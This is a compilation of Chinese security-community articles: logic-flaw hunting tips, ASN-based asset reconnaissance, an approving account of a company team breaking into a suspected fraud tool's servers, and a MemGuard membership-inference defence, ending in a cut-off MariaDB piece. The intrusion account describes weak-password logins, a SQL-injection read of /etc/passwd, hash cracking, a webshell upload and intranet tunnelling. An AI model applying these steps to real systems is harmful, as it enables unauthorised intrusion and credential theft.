3、当你初步认识到功能点之后，你就可以进行下一步了，使用BURP抓包，试着将其中的数据在BURP中重放，如果发现重放数据返回的包中有敏感信息的话，可以进一步修改其中的值进行重放，我一般进行的是加1减1操作（意思就是将其中的数值减1或者加1）看是否可以获取不同的信息，如果获取的信息不相同，且信息比较敏感，这就意味着你有可能找到一个逻辑漏洞了。
补充：不一定每个数据都要重放，可以指定某个重要请求数据进行重放。
4、不要觉得JS不重要，有时候里面也暗藏宝藏，有的很多比较敏感或隐蔽的网站都在里面。这类信息，会让你找到其他你找不到的网站系统。一般比较隐蔽的系统存在的逻辑漏洞也是很多的。有的时候看JS逻辑结构就知道有没有逻辑漏洞。
比如会出现这样的信息：
5、重点将逻辑漏洞挖掘放在重要区域，比如：个人信息区域、密码修改区域、密码忘记区域、支付区域、手机号区域等。这几个区域一般都是严重高危漏洞的始发点，任何一个地方出问题，都有可能造成企业、用户损失。
6、别害怕验证码，有的白帽子遇到验证码就退缩了，其实不然，有的验证码是给人看的，只是防止用户手工输入的，然而并不防止重放请求来暴力破解，有的验证码是给服务器看的，当验证码没有一个完整的服务请求时，验证码是不会改变的，这个时候我们也可以用来进行暴力破解，还有一种是第一次请求包验证了验证码是否正确，第二次请求就不需要验证了，知道接口的话就可以直接进行破解了，利用成功的话，这个地方也会出现惊人的发现，例如：敏感信息泄露等。
7、加签名，加TOKEN等方法，看着好像挺安全，其实也会出现问题，当第一次遇到这种请求中带签名，带TOKEN的时候，就可以思考一下，在重点功能处是否可以使用BURP修改替换原先值，生成一种新签名，新TOKEN的请求数据，然后在BURP中进行重放，看是否成功来绕过加签名、加TOKEN等方法，成功了就意味着宝藏来了。
8、手机短信，大多白帽子遇到手机验证码是4位的时候，都觉得挺高兴，觉得这个地方可以破解重置啥的，其实有时候越到6位的时候也不用害怕，因为这个地方也会出现问题。
例如：
第一种是发送短信请求数据响应中自动包含验证码；
第二种是可以向同一个手机发送多个验证码，且前一个验证码不失效；
第三种发送验证码的手机号可控，比如密码重置发给别人验证码也可以重置你的密码，服务器只判断手机对应的验证码是否正确，不判断是不是你的手机号。
第四种验证码发送可控，想往你手机号发啥验证码就可以发啥验证码；
第五种验证码概率学问题，你收到过111111、111112、111122等这样的验证码吗，那么我们写脚本去除这类验证码还能剩多少呢？这样可以增加我们破解成功的几率。
9、注册页面、密码找回、个人信息页面等都有可能存在逻辑漏洞，
例如：
我们填写完第一步后可以直接跳转入注册的最后一步，中间的必填项就可以被绕过；
我们密码找回在第一步填入用户信息后可以直接跳转入密码重置页面重置用户帐号；
在个人信息处改变用户ID值直接查看其他用户信息等。
总结一下：
一句话，没有你做不到，只有想不到，到处都是洞，放手一搏。
=========================================================
今天就先写到这里吧，有兴趣的可以关注我微信号，每天都会有挖洞方面的内容给大家分享。谢谢已经关注我账号的粉丝们，请转发！没有关注的，请关注、请转发！
请阅读全文：<http://www.secbug.cn/archives/logic-vulnerability-mining/>
SaviourTech
微信号：secbugs | 社区文章 |
# 浅析ASN在信息收集中的作用
## 0x0 前言
关于ASN,也许很多人和我一样在大学里面学过，但是可能对此不是很深入了解，虽然只是一个很小的点，这里我还是想把它展开下并浅述下其应用,希望能够帮助大家理解ASN。
## 0x1 什么是ASN
Autonomous System Number(ASN),中文名称:自治系统号
**定义:**
> An autonomous system number is a unique identifier that is globally
> available and allows its autonomous system to exchange routing information
> with other systems.
>
> 自治系统编号是一个唯一的全局可用的标识符，并允许其自治系统与其他系统交换路由信息
从定义我们可以了解到,ASN是一个编号，用于标记一个自治系统(区分不同的自治系统一个标识符)
**ASN编号的格式:**
RFC 1930:
编号由16bit(2字节)组成,因此限制范围为1-65535
在定义RFC1930时分派了约5100个AS,全球活跃的AS只有不到600个。
同时为了供私人使用,保留了部分AS号:
64512至65535（1024个）
* * *
ASN怎么来的呢？
ASN是由 **区域互联网注册机构** 来管理和分配的
> A **regional Internet registry** ( **RIR** ) is an organization that manages
> the allocation and registration of [Internet
> number](https://en.wikipedia.org/wiki/Internet_number) resources within a
> region of the world. Internet number resources include [IP
> addresses](https://en.wikipedia.org/wiki/IP_address) and [autonomous system
> (AS)](https://en.wikipedia.org/wiki/Autonomous_system_\(Internet)) numbers.
>
> 区域互联网注册结构是一个管理分配和注册在世界上某个区域的互联网编号资源的组织，其中互联网编号资源包括IP地址和自治系统(AS)号码。
全球共有5个这样的机构:
* 美洲互联网号码注册管理机构（American Registry for Internet Numbers，ARIN）[1]管理北美、南极洲和部分加勒比地区事务
* 欧洲IP网络资源协调中心（RIPE Network Coordination Centre，RIPE NCC）[2]管理欧洲、中东和中亚地区事务
* 亚太网络信息中心（Asia-Pacific Network Information Centre，APNIC）[3]管理亚洲和太平洋地区事务
* 拉丁美洲及加勒比地区互联网地址注册管理机构（Latin American and Caribbean Internet Address Registry，LACNIC）[4]管理拉丁美洲和部分加勒比地区事务
* 非洲网络信息中心（African Network Information Centre，AfriNIC）[5]管理非洲事务
**原则上任何人都可以向这些组织申请一个ASN的编号的,但是还是需要蛮多条件的。**
比如亚太地区的APNIC申请清单:
* * *
了解ASN是什么,但是ASN的发挥的具体作用是怎么样的呢？
让我们带着疑问,继续向下看。
## 0x2 什么是自治系统?
自治系统: autonomous system(AS)
> [Internet](https://www.cloudflare.com/zh-cn/learning/network-layer/how-does-> the-internet-work) 是由不同网络组成的网络，自治系统是组成 Internet
> 的大型网络。更具体地说，自治系统（AS）是具有统一[路由](https://www.cloudflare.com/zh-> cn/learning/network-layer/what-is-routing)策略的巨型网络或网络群组。连接到 Internet
> 的每台计算机或设备都连接到一个 AS。
>
> 可以认为 AS 类似于一个城镇的邮局。邮件从一个邮局到另一个邮局，直到到达正确的城镇为止，然后该城镇的邮局将在该城镇内传递邮件。与之类似，数据包在整个
> Internet 范围内通过从 AS 跳到 AS，直到它们到达包含其目的地 [Internet
> 协议（IP）](https://www.cloudflare.com/zh-cn/learning/ddos/glossary/internet-> protocol)地址的 AS。该 AS 中的路由器将数据包发送到 [IP 地址](https://www.cloudflare.com/zh-> cn/learning/dns/glossary/what-is-my-ip-address) 。
>
> 每个 AS 都控制一组特定的 IP 地址，就像每个镇的邮局负责将邮件传递到该镇内的所有地址一样。给定 AS 可以控制的 IP 地址范围称为其“IP
> 地址空间”。
>
> 大多数 AS 连接到其他几个 AS。如果一个 AS 仅连接到另一个 AS 并共享相同的路由策略，则可以将其视为第一个 AS 的子网。
>
> * * *
>
> 通常，每个 AS 由单个大型组织（例如 Internet 服务提供商（ISP）、 **大型企业技术公司** 、大学或政府机构）运营。
其实这里就慢慢体现了ASN为何会在信息收集中发挥作用，有些大型的网络公司可能就是具有自己的AS，用于内部使用。
那么自治系统是通过什么来连接的呢?
## 0x3 BGP路由协议
看到BGP,大家肯定不陌生,大学里面学过，然后经常会看到一些广告，BGP高速线路之类的。
BGP(Border Gateway Protocol, 边界网关协议)
>
> 主要用于互联网AS([自治系统](https://baike.baidu.com/item/自治系统/129715))之间的互联，BGP的最主要功能在于控制[路由](https://baike.baidu.com/item/路由/363497)的传播和选择最好的路由。
BGP就是不针对具体的路由细节,所以能够处理非常巨量的路由信息,所以主要用于核心网使用。
如果没有 BGP，IP 数据包将在 Internet 上从 AS 到 AS 随机反弹。
其实BGP的原理,其实就是分而治之的原理，小块(IP)->大块(AS),然后降低了搜索和存储的量级。
* * *
至于什么是BGP线路, 一般来说是指电信、联通、移动、铁通、教育网五线
这样的线路会有什么好处呢,就是说比如我是处于电信这个AS里面一台机器，我访问到联通AS的服务器的速度肯定不如直接访问电信AS里面的服务器速度快，因为需要跨AS访问是会有数据传输和路由造成的时间损耗的。
BGP线路则可以使用BGP协议, 提前将相应的用户切换到相应的线路，从而提高访问的速度。
## 0x4 信息收集 By ASN
前面我们大致知道了，ASN AS BGP的基础知识，下面我结合实例，可以初探他们的工作方式，来进行信息收集。
这里我以我自己两台的腾讯服务器举个例子: 111.2x0.1x7.xx...通过SPYSE可以查询到相关信息。
可以看到ASN: 45090,然后属于深圳腾讯计算机系统有限公司所有
_这些都没啥问题,但是可以看到这里存在一个差异,就是AS Subnet是不同的。_
这就说明了 IP与ASN直接是存在联系的，但是并不是一一映射的。
### 0x4.1 ASN与IP的关系
IP与ASN并不是多对一的关系，而是多对多的,也就是一个IP可能属于多个ASN来管辖。
关于这两者的数据查询，我们可以选择去相关地区的注册机构官网去查询，比如亚太地区的官方公共搜索库
<http://wq.apnic.net/static/search.html>
这里我们可以指定一个c段,比如111.230.197.0/24
可以看到这里就查询出了111.230.197.0/24->111.230.0.0/15->AS45090,这个与上面是相同的。
那么如果我们想查询有哪些IP段归属于AS45090，该怎么查询呢?
同样在相同的点直接输入，这次输入的是ASN: AS45090
然后我们就可以得到了一些相关信息,然后下面有个`NetOX`,我们点进去获取更多的信息。
可以看到其囊括的范围,IPV4的prefixes,但是没办法直接得到具体IPv4的前缀，应该是有其他搜索语法,不过我没没找到。
这里提供两种我自己觉得比较直观的查找方式:
1.<https://bgp.he.net/AS45090#_prefixes>
这个网站更新频率很高，所以数据很新，也比较全。
2.<https://spyse.com/(比较适合用来快速分析网站信息>)
直接搜索AS编号就可以看到有了很多细分和其中的网站。
### 0x4.2 ASN与目标的关联关系
从上面的分析我们也可以知道，如果需要进行信息收集的的目标的ASN是归属于某些云厂商的话，说明目标是没有自己独立的ASN编号的，然后云厂商分配IP的话，如果是批量的话，应用到同一网关的话，那么有可能是直接分配一个C段或者B段来使用的,所以有时候我们可以适当将搜索范围缩小为C段或者B段，而不是ASN所有的前缀地址块。
用ASN来进行大范围探测目标相关的网络资产资产效果最好的情况是，目标拥有自己的ASN编号，然后有自己管理的外网IP地址,这个时候数据就不会很宽泛，会围绕着目标。
但是,就我个人而言，我是那种挖SRC比较少的人的，说实话运用到ASN来进行信息收集的情况很少，因为现在一些中小型的公司，基本都喜欢把服务器放在第三方云来管理，这样的ASN编号作用不是很大，还不如直接聚合子域名IP做C段查询的效果(聚合子域名的方法误报率一样非常高,因为一般都会用到CDN),所以这种基于ASN来定位资产更多是一种信息收集技巧的拓展学习吧，真正的应用还是需要一些特定场景来结合，比如某些单位就很喜欢自建机房，自己管理IP资源。
## 0x5 实践应用
随便找了个某组织的其中一个站点，支持IP访问，大概率是真实IP。
然后根据该IP,查询相应的ASN
可以看到ASN为4134, 比腾讯云管理的IPV4还要多,第三方只统计出了8w多个domain,其实也不是很多，可以基于特征来fuzz出相关的站点。
因为IP地址声明一般是一块块慢慢增加的，所以，这里统计出的61.164.192.0/20, 这个说明很可能是属于这个范围块。
这里我们可以直接在spyse里面查看domains数据和相关的端口情况
除了第三方工具
为了得到最新的实时数据，我们可以自己进行探测
cidr 61.164.192.0/20 | httpx --title --status-code --threads 200
有时候确实是会发现一些相关东西，而且还蛮有趣的。
## 0x6 总结
本文是我在写自己的资产侦测系统的时候了解到的点，然后感觉蛮有意思，所以记录了下来，并不是什么新鲜的东西，只不过过于简单，很少有人去着重说明而已，不过我觉得要是想深入了解的话，还是有很多研究的点的，只不过我缺乏这些网络配置的经验，接触的太少，只能坐井观天。换而言之，就是要是能结合甲方的建设思路来放大这个作用，那效果肯定不错的,欢迎师傅们拍砖指点。
## 0x7 参考链接
<https://blog.stackpath.com/autonomous-system-number/>
<https://www.cloudflare.com/zh-cn/learning/network-layer/what-is-an-autonomous-system/>
<https://www.zhihu.com/question/21024981>
<https://zhuanlan.zhihu.com/p/135372161>
<https://zhuanlan.zhihu.com/p/71955592>
[BGP (1) 注册 ASN & 获取 IPV6 地址](https://blog.yuzu.im/marchives/132) | 社区文章 |
# 【技术分享】甲方安全日常之一场反击灰色产业链的暗战
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**作者：Darker@0Kee Team**
**投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿**
**0x1 起因**
近期信息安全部收到公司某业务部门反馈，有部分用户账户被盗。
在分析登陆来源和账号异常行为后发现，被盗账户集中于某特定人群，全部用于电信诈骗相关的SEO，并且登陆来源存在共同点：用户都曾使用了某第三方工具
XX助手，历史登录ip中都存在一个可疑IP：117.158.x.x。
由此初步怀疑第三方工具泄露了用户密码，而可疑IP和这个第三方工具是否存在关系呢？
在可疑IP的8000端口上，我们发现一个CRM 系统，上面赫然写着XX助手CRM系统，同时发现一处路径泄露：
Fatal error: Uncaught exception 'Cola_Exception_Dispatch' with message 'Can't load controller:AController' in /export/webapps/crm.*.com/Cola/Cola.php:345
Stack trace: #0 /export/webapps/crm.*.com/index.php(18): Cola->dispatch() #1 {main} thrown in /export/webapps/crm.*.com/Cola/Cola.php on line 345
而crm.*.com就是XX助手的官网域名，到这里似乎一切都很明朗了，然而这只是刚刚开始，剩下的就是通过我们的方式来探究背后的真相。
**0x2初探**
****
针对117.158.x.x 的端口扫描:
root@~# nmap 117.158.x.x -p 1-65535 -Pn --open -A
8000/tcp open http nginx 1.2.5
8087/tcp open http-proxy Privoxy http proxy 3.0.23
9999/tcp open http Boa HTTPd 0.94.14rc21
13306/tcp open mysql MySQL 5.5.29-cll
17451/tcp open microsoft-rdp Microsoft Terminal Service
33892/tcp open microsoft-rdp Microsoft Terminal Service
Port 8000
无验证码，无登陆限制，top500人名+加弱口令，成功进入系统。
发现一处注入：
current-user: [email protected] root 权限。
读取网卡配置:SELECT LOAD_FILE('/etc/sysconfig/network-scripts/ifcfg-eth0')
读取：/etc/passwd
小结：
1.确定站库分离，web 服务器ip 10.110.30.74，db服务器ip 10.110.30.71
2.获取web系统管理员admin 密码：1
3.web系统为一个crm测试环境，数据库涉及多个库，根据/etc/passwd用户名中的test字段也可以判断数据库服务器同样为测试环境。
4.web系统有上传功能，但无法突破。
Port 8087：http-proxyPrivoxy http proxy 3.0.23
在浏览器设置代理,代理做了限制,能访问外网,为国外ip，无法访问内网。
Port 9999：http Boa HTTPd 0.94.14rc21
历史漏洞 CVE-2007-4915 针对版本Boa 0.93.15的401认证绕过、尝试exp，失败。
Port 13306：mysql MySQL 5.5.29-cll
通过注入点，获取mysql用户密码，*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9
解密后获取一组账号密码php/123456 。可远程连接，方便了操作mysql数据库。
Port 17451：microsoft-rdp Microsoft Terminal Service
Port 33892：microsoft-rdp Microsoft Terminal Service
从主机名可以看出均为远程终端服务从内网映射，且存在域环境。
通常情况下，我会使用guest/空口令进入远程桌面，尝试shift 后门或输入法漏洞。
**0x3 迂回**
****
至此针对目标渗透陷入僵局。
根据路径泄露中的域名，收集了部分二级域名。
反查主站 42.51.x.x 上绑定域名：
目录扫描:pythonDirfuzz http://zhan.***.com/ php
[200]:http://zha*.***.com/index.php?g=System&m=Admin&a=index
默认账号admin，弱密码字典爆破：
Intruder 爆破默认5线程。服务器不堪重任。放弃爆破。
Getshell：
确定为zhan.***.com 使用了开源的pigcms 3.0
在0x2中获取到的mysql数据库中，其中一个库名是pigcms。
定位管理表，查询管理密码。
得到账号密码admin/ Pa$$w0rd
进入后台：
添加上传文件类型。
在前台调用kindeditor编辑器处上传webshell。
shell: http://zha*.***.com/uploads/u/umgrkt***26/4/*/0/1/56efbb05c3364.php
内网ip：10.100.10.54
在zha*.***.com shell 中/export/webapps/crm.***.com上发现与目标相似源码。
1\. 尝试搜索exec,eval等危险函数。
2\. 尝试搜索include类型函数，审计。
3\. 搜索upload,filedow,readfile关键字,
[/export/webapps/crm.***.com/views/]$ grep -rn "upload" ./*
http://117.*.*.*:8000/contract/index
admin登陆后直接访问url.(此功能之前黑盒测试中前端没有显示)。
上传功能无限制.
GetShell http://117.*.*.*:8000/data/upload/t.php
小结：1.根据路径泄露，确定了域名，寻找与目标相关的系统。
2.获取相关系统权限，得到目标系统代码，白盒审计代码。
3.通过上传漏洞，获取目标系统权限
**0x4内网**
reGeorg
顺手shell 之前的db服务器，出口同为目标ip。
部分内网端口扫描
内网web系统居多，大部分存在漏洞。
发现zabbix,版本3.0
{+} Zabbix Account : Admin:c33367701511b4f6020ec61ded352059 (md5)
Admin/654321
至此，内网主机已如探囊取物。
**0x5** **真相**
****
1、可以确认目标ip 117.158.x.x为该公司的出口ip之一。
2、通过此服务器上的代码、日志和部分数据库内容,确认了XX助手明文存储了账号密码和token的行为。
3、在存储的账号信息中，同时也发现了百度、搜狗等厂商相关的用户密码、token等敏感信息。
代码：
数据库：
日志文件：
**0x6 总结**
****
部分外挂性质的工具以封装厂商业务接口的形式引导用户在第三方登录，使用这种工具隐藏着巨大的安全隐患。
类似文中案例，第三方工具有能力主动记录使用者的明文账号密码，即使没有主动记录，在工具服务端访问日志中同样会留下相关的数据。而这些工具的经营者基本都不具备完善的安全意识和措施来存储这些敏感数据，出现内鬼，甚至被黑客攻破，用户都将面临密码泄露的危险。
另一方面，恶意经营者往往会在软件中植入木马后门，用来收集用户隐私信息，盗取账号及敏感信息，甚至用来进行违法活动。
作为厂商，如何做好风控，如何有效识别用户异常行为并及时帮助用户止损，业务安全任重道远。 | 社区文章 |
# 对抗向善：防御成员推理攻击
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在成员推理攻击中，攻击者训练一个二分类器，该分类器将目标分类器预测的数据样本的置信度分数向量作为输入，预测该数据样本是目标分类器训练数据集的成员数据还是非成员数据。成员推理攻击会对机器学习造成严重的隐私和安全威胁，尤其是在训练数据集敏感的应用场景中(例如，生物医学记录和位置跟踪)，成功的成员推理会导致严重危害。比如如果攻击者知道受害者的数据被用来训练医疗诊断分类器，那么攻击者就可以直接推断受害者的健康状况。除了隐私之外，成员推理还会损害模型提供者的训练数据集的知识产权，因为收集和标记训练数据集可能需要大量的资源。
所以研究人员对该领域的防御展开了研究，本文会分析及复现借助对抗样本的思想来对成员推理攻击进行防御的工作，其发表于信息安全四大之一的CCS
2019,题为《MemGuard: Defending against Black-Box Membership Inference Attacks via
Adversarial Examples》
防御方案分为两步，第一步MemGuard会找到一个精心设计的噪声向量，将置信度向量视为一个对抗样本。防御者会自己先训练一个防御分类器进行成员推理攻击，并基于自己的分类器构造噪声向量。由于对抗样本的可迁移性，误导防守分类器的噪声向量很可能也会误导攻击分类器。不过已有的对抗样本生成算法不足以解决我们面临的场景，因为它们没有考虑唯一的约束，即效用损失的置信度分数向量(因为噪声越大，则效用越低)。更具体地说，噪声置信度向量不应该改变查询数据样本的预测标签，仍然应该是一个概率分布。为了解决这一难题，研究人员设计了一种新的算法来寻找满足效用损失约束的小噪声向量。在第二阶段，MemGuard将之前找到的噪声向量以一定概率加入到真实置信度分数向量中，研究人员将这个概率表述为解决一个优化问题，并推导出优化问题的解析解。
## 前置背景
在我们设置的场景下，共有三方参与，分别是模型提供者、模型攻击者和模型防御者。
### 模型提供者
模型提供者会训练一个模型，然后发布出去，用户要使用时，输入查询样本，输出为一个置信度分数向量。即：
这里f代表分类器的决策函数，x是待查询的数据样本，s是置信度分数向量。置信度分数向量实际上是待查询的样本的标签的后验概率分布，比如sj就是样本标签为j的后验概率，而样本究竟被分类器分类为什么，取决于最大置信度分数，也就是
由于本文会涉及两种分类器，我们把现在讨论的，由模型提供者提供的分类器叫做目标分类器。
### 攻击者
攻击者的目的是推断模型提供者的所使用的训练集。攻击者对于目标分类器只有黑盒权限，也就是说攻击者可以发送样本进行查询，得到分类器返回的置信度分数向量，通过黑盒形式的成员推理攻击来推理训练集的成员数据。在成员推理攻击中，攻击者训练一个二元分类器，它以样本的置信度向量为输入，然后会预测样本是否在目标分类器的训练集中，即：
其中C是攻击者训练的二元分类器，s是由目标分类器为查询样本x返回的置信度分数向量。如果是0，表示x不是成员数据，如果是1，表示是成员数据。我们把这里讨论的二元分类器叫做攻击分类器。
### 防御者
防御者的目的是防御成员推挤攻击，对于来自任何用户的任何查询样本，目标分类器会预测得到置信度分数向量，而防御者则会在将其返回给用户之前向置信度分数向量添加噪声向量，即：
其中s是目标分类器返回的真实置信度分数向量，n是防御者添加的噪声向量，s‘是返回给用户的带噪声置信分数向量。也就是说，此时攻击者只能接触到带噪声置信分数向量。而防御者添加噪声向量有两个目的：
1.攻击分类器在进行成员推理攻击时会失效，这样的话防御者就可以保护数据隐私
2.置信度分数向量的效用损失是有界的，即确保不会添加过多噪声以至于目标分类器的预测完全是不可用的。
**为了实现目标1**
，这里还存在一些困难。首先防御者是不知道攻击者的攻击分类器的，所以防御者需要自己训练一个可以进行成员推理攻击的二元分类器，并将噪声向量添加到置信度分数向量中，来验证是否可以使二元分类器失效。这里讨论的分类器我们叫做防御分类器，将其决策函数表示为g。g(s)则表示相应样本为成员数据的概率，该样本由目标分类器返回的置信度分数向量为s。我们设防御者训练的分类器其输出层有sigmoid激活函数，这样的话决策函数的输出就代表了成员数据的概率，即:
当g(s)>0.5时，表示防御分类器认为该查询样本为成员数据。
我们设防御者采用随机噪声添加机制M，给定真实置信度分数向量s，防御者会从概率M(n|s)的可能的噪声空间中采样噪声向量n。由于随机噪声被添加到了真实置信度分数向量上，所以决策函数g会输出样本为成员数据的随机概率。防御者的目标是让g预测的概率接近0.5，也就是在加上噪声后，防御分类器会随机猜测是否为成员数据，所以防御者的目标就是找到一种机制M,可以使下式最小化
**为了实现目标2，** 关键需要考虑该如何量化置信度分数向量的效用损失，为此引入两个效用损失指标，分别是标签损失以及置信度分数失真
_标签损失：_
我们知道，样本的标签被预测为具有最大置信度分数的标签，如果真实置信度向量和噪声置信度向量都能使样本被预测为相同的标签，则我们说此时的标签损失为0，否则为1。很明显，我们的目标是实现0标签损失，即噪声的添加不会改变查询样本的预测标签，即满足：
_置信度分数失真：_
查询样本的置信度向量可以告诉用户关于样本的更多信息，而不仅仅是预测标签。因此我们添加的噪声不应该使置信度分数向量有极大的失真。首先，噪声置信度向量仍然应该是一个概率分布，即满足
此外，真实置信度向量与噪声置信度向量之间的距离d(s,s+n)应该较小，我们设置信度失真预算为ε，这表示模型提供者能够容忍的置信度失真的上界，即：
我们这里使用l1范数作为距离度量，即：
## 防御
有了这些基础之后，我们就可以来定义如何防御成员推理攻击了：
给定防御分类器的决策函数g，置信度失真预算ε，真实置信度分数向量s，防御者的目标是通过解决如下优化问题找到随机噪声添加机制M*:
目标函数是为了实现目标1，而约束条件则是为了实现目标2
第一个约束意味着添加的噪声不会改变查询样本的预测标签;第二个约束是指置信值失真以预算ε为界;最后两个约束意味着噪声置信度向量仍然是概率分布。
我们根据g(s)是否为0.5来假设两个场景
场景1：g(s)=0.5，此时上面的优化问题很容易求解，将概率为1的噪声向量0相加的机制就是最优的随机噪声添加机制，其目标函数值为0。
场景2：g(s)不等于0.5.此时解决优化问题的主要挑战是随机化噪声添加机制是真实置信度向量在连续噪声空间上的概率分布。噪声空间由满足优化问题四个约束条件的噪声向量组成。因此，概率分布的表示和优化问题的求解具有挑战性。为了解决这个问题，取决于防御分类器的决策函数g的输出，噪声空间可以分为两组，这。对于一组噪声向量，如果我们将其中任何一个加到真实置信度得分向量中，则决策函数g输出0.5作为成员成员的概率。对于另一组中的噪声向量，如果我们将它们中的任何一个添加到真实置信度得分向量中，则决策函数g输出的成员数据概率不为0.5。
在此基础上，我们提出了一个两阶段框架来近似求解优化问题。具体来说，在第1阶段，对于每组，我们找到具有最小置信度分数失真(即d(s, s +
n)最小)的噪声向量作为噪声组的代表性噪声向量。为了减小信噪比失真，我们选取了信噪比失真最小的噪声向量。由于g(s)不等于0.5，所以第二噪声组选取的代表性噪声向量为0。我们用r表示第一噪声组的选定代表性噪声向量。在第二阶段，我们假设随机噪声相加机制是两个代表性噪声向量上的概率分布，而不是整个噪声空间。具体来说，防御者以一定的概率将具有代表性的噪声向量r加入到真实置信度得分向量中，而不使用其余的概率添加任何噪声。
我们具体来看看
### 阶段1：找到r
我们将找r的过程作为求解优化问题：
我们的目标本质上在找一个噪声向量r，其带给置信度分数向量的效用损失是最小的，同时当输入为噪声置信度分数向量时决策函数g会输出0.5。我们可以通过求解下面的优化问题来找到r
其中s是真实置信度分数向量，目标函数是希望置信度失真最小，第一个约束意味着噪声不会改变预测标签,第二个约束意味着防御分类器的决策函数输出0.5(即,防御分类器的预测是随机猜测)，后两个约束意味着噪声置信度向量仍然是一个概率分布。
现在关键来了，求解这个优化问题可以看做是在寻找一个对抗样本来欺骗防御分类器。s是原样本，s+r是对抗样本
解决这个问题的一个简单方法是生成满足效用损失约束的随机噪声向量。特别地，我们可以生成一个随机向量r
‘，它的元素是非负的，并且和为1。例如，我们首先从区间[0,1]中均匀随机抽取一个数字r1 ‘作为第一项。然后，我们从区间[0,1 -r1
‘]中均匀随机抽取一个数字r2 ‘作为第二项。我们重复这个过程，直到最后一项是1减去前一项的和。然后，我们将r
‘的最大分量交换到位置j以满足第一个约束条件。最后，我们将r = r
‘−s作为噪声向量，它是上式优化问题的一个解。不过由于噪声向量不是最优的，而且很难满足sj +rj ≥ 0的约束条件，这种随机方法实现了次优的隐私-效用权衡。
所以我们尝试通过通过变量的改变和在目标函数中加入约束来解决这个优化问题。
首先通过变量的变化来消除对概率分布的约束，因为我们认为目标分类器的输出层是softmax,真实置信度分数向量s是一个向量z的softmax函数，向量z是在倒数第二个层神经元的输出，也就说我们常说的logits。在形式上,我们有:
更进一步，我们将噪声置信度向量建模如下:
其中e是一个新的向量变量。对于e的任意值，噪声置信度向量s +
r为概率分布，即满足最后两个约束条件。因此，在优化问题中，我们将真实置信度向量s改变为softmax (z)，将变量r改变为softmax (z +
e)−softmax (z)，之后可以得到如下优化问题:
在上面的优化问题中求解出e后，我们可以得到如下的噪声向量
现在还剩下两个约束，他们是高度非线性的，为此，我们将他们加入目标函数中
因为防御分类器的输出层有sigmoid激活函数，因此我们有
分母中的h()那一项是当防御分类器以噪声置信度向量softmax(x+e)为输入时的倒数第二层的神经元的输出。g(softmax (z + e)) =
0.5 也就意味着h(softmax(z + e)) = 0
因此，我们将最后一个约束条件转换成了下面的损失函数：
当h(sof tmax(z + e))接近0时，L1会比较小
接下来要把剩下的最后一个约束转换成目标函数
我们设查询样本的预测标签为l，即：
那么剩下的那个约束就意味着zl + el是向量z + e中的最大项，因此我们有如下不等式约束
进一步将不等式约束转换为如下损失函数:
其中的ReLU函数定义为
如果下式成立
则损失函数L2为0
将每个约束都转换为目标函数后，我们就可以得到下面的无约束优化问题
其中
接下来的问题就是求解上式。我们设计了一种基于梯度下降的求解无约束优化问题的算法。
算法如下
由于我们的目标是找到一个具有小的置信分数失真的噪声向量，我们迭代地搜索一个大的c3。对于每个给定的c3，我们使用梯度下降法求出满足约束条件的e。当我们找不到满足这两个约束条件的向量e时，搜索c3的过程就停止了。在给定c2、c3和学习速率β后,我们迭代更新矢量变量e。
因为我们将约束条件转换为了目标函数方程,这并不能保证他们迭代梯度下降过程中符合要求。因此，在梯度下降的每次迭代中，我们检查这两个约束是否满足(即算法1中的第8行)。具体来说，当预测的标签发生变化或logit
h的符号没有变化时，我们继续梯度下降过程。换句话说，当两个约束条件都满足时，我们停止梯度下降过程。我们用
来近似前面的最后一个约束。
### 阶段2
在第一阶段结束之后，我们有两个有代表性的噪声向量。在第二阶段中，我们假设随机噪声添加机制是两个代表性噪声向量上的概率分布，而不是整个噪声空间。具体地说，我们认为防御者以概率p和1
– p分别选取具有代表性的噪声向量r和0，防御者将选取的代表性噪声向量加到真实置信度分数向量中。通过这样的简化，可以将优化问题简化如下:
上式的约束意味着期望的置信度失真受预算限制。我们可以推导出简化后的优化问题的解析解。解析解如下:
## 实验分析
作者在文中是使用三类不同的数据集：
Location:每个特征表示用户是否访问了特定的区域或位置类型
Texas100:每个特征代表损伤的外因(如自杀、药物滥用)、诊断、患者所经历的程序和一些通用信息(如性别、年龄和种族)
CH-MNIST:该数据集用于对结直肠癌患者组织学上的不同组织类型进行分类
先来看看随着置信度失真预算(即ε)的增加，不同攻击的推断准确性
a,b,c分别对应着不同的数据集，而不同颜色的线代表不同的攻击分类器，我们可以看到，MemGuard可以有效地防御成员推理攻击，由于我们的防御被允许在置信度得分向量中添加更大的噪声，所有攻击的推理准确性都会下降。例如，在Location中，当我们的防御被允许添加预算l1
-范数在0.8左右的噪音时，我们的防御可以将所有评估攻击降低为随机猜测(RG)攻击，都处于0.5的水平;在CH-MNIST上，我们的防御可以将NSH攻击(或其余攻击)减少到随机猜测，当允许添加预期L1-norm在0.3左右的噪声时
然后设计实验来评估成员数据与非成员数据的置信分数向量的不可区分性，给定一个置信度向量s，计算其归一化熵:
根据这个指标进行测量，结果如下
上面一行是没有防御的，下面是有防御的。图中两条曲线之间的距离对应目标分类器训练数据集的信息泄漏，从图中可以看到，MemGuard大大减少了这种差距。
## 实战
### 训练目标分类器
我们使用location数据集，首先训练一个目标分类器
训练过程如下
### 训练防御分类器
训练过程如下
然后是防御框架的训练部分
加载目标模型并后去所需置信度分数等信息
加载防御分类器并设置c1,c2,c3
寻找满足优化问题且符合约束条件的噪声向量
求解过程如下
### 训练攻击所需的影子模型
### 评估防御效果
攻击者所用的模型
评估攻击效果
从结果可以看到，在应用了MemGuard进行防御之后，成员推理攻击的效果下降到了50%
## 参考
1.Jia J, Salem A, Backes M, et al. Memguard: Defending against black-box
membership inference attacks via adversarial examples[C]//Proceedings of the
2019 ACM SIGSAC conference on computer and communications security. 2019:
259-274.
2.Shokri R, Stronati M, Song C, et al. Membership inference attacks against
machine learning models[C]//2017 IEEE Symposium on Security and Privacy (SP).
IEEE, 2017: 3-18.
3.Truex S, Liu L, Gursoy M E, et al. Towards demystifying membership inference
attacks[J]. arXiv preprint arXiv:1807.09173, 2018. | 社区文章 |
**作者：Evi1hui@QAX A-TEAM
原文链接：<https://mp.weixin.qq.com/s/3PqYHGklnTb-5eWuNammWA>**
MariaDB是MySQL数据库系统的一个复刻，由社区开发，旨在继续保持在GNU GPL下开源。甲骨文公司收购了 MySQL 后，有将 MySQL
